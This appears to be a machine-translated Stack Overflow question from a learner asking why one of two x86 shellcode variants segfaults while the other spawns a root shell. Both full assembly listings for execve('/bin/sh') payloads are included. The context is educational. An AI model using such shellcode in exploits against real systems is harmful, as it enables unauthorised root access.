我最近閱讀了Aleph One的粉碎堆棧以獲得樂趣和利潤,並一直在尋找「Shellcoder's Hanbook」。爲什麼彙編shellcode的兩種變體不能以相同的方式工作?
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop ebx
xor eax, eax
mov [ebx + 7], al
mov [ebx + 8], ebx
mov [ebx + 12], eax
mov al, 0x0b
lea ecx, [ebx + 8]
lea edx, [ebx + 12]
int 80h
xor eax, eax
mov al, 0x01
int 80h
GotoCall:
Call shellcode
db '/bin/shJAAAAKKKK'
當我走通過與GDB,我收到了賽格故障每次我嘗試寫時間:我是用下面的彙編代碼玩弄周圍
mov [ebx + 7], al
然而,當我運行此我可以彈出一個root shell沒有段錯誤:
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx,edx
mov al, 0xb
int 80h
從本質上講,他們正在做同樣的事情(是的,我知道他們是不是真的,但我試圖彈出兩個一個root shell)。我在OpenSuse11.4上運行,並且出於學習目的關閉了堆棧隨機化(ASLR)。有任何想法嗎?
您可能想閱讀:[HOWTO:Writing Good Titles](http://meta.stackexchange.com/q/10647/156620) – 2011-11-14 02:55:14